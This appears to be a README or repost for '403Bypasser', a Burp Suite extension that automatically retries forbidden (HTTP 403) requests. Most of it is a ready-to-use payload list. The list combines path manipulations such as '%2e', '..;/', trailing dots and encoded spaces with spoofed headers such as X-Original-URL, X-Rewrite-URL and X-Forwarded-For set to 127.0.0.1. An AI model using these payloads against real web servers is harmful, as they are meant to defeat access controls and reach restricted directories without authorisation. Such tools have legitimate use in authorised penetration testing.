403Bypasser – Burpsuite Extension To Bypass 403 Restricted Directory

An burpsuite extension to bypass 403 restricted directory. By using PassiveScan (default enabled), each 403 request will be automatically scanned by this extension, so just add to burpsuite and enjoy.

Payloads: $1: HOSTNAME $2: PATH

$1/$2
$1/%2e/$2
$1/$2/.
$1//$2//
$1/./$2/./
$1/$2anything -H "X-Original-URL: /$2" 
$1/$2 -H "X-Custom-IP-Authorization: 127.0.0.1" 
$1 -H "X-Rewrite-URL: /$2"
$1/$2 -H "Referer: /$2"
$1/$2 -H "X-Originating-IP: 127.0.0.1"
$1/$2 -H "X-Forwarded-For: 127.0.0.1"
$1/$2 -H "X-Remote-IP: 127.0.0.1"
$1/$2 -H "X-Client-IP: 127.0.0.1"
$1/$2 -H "X-Host: 127.0.0.1"
$1/$2 -H "X-Forwared-Host: 127.0.0.1"
$1/$2%20/
$1/%20$2%20/
$1/$2?
$1/$2???
$1/$2//
$1/$2/
$1/$2/.randomstring
$1/$2..;/

Thanks @lohubi for contributing many payloads.

Installation

BurpSuite -> Extender -> Extensions -> Add -> Extension Type: Python -> Select file: 403bypasser.py -> Next till Finish

References:

• https://twitter.com/iam_j0ker/status/1324354024657711106?s=20
• https://twitter.com/jae_hak99/status/1297556269960540161?s=20
• https://twitter.com/SalahHasoneh1/status/1296572143141031945
• https://twitter.com/lobuhisec/status/1329705441883017218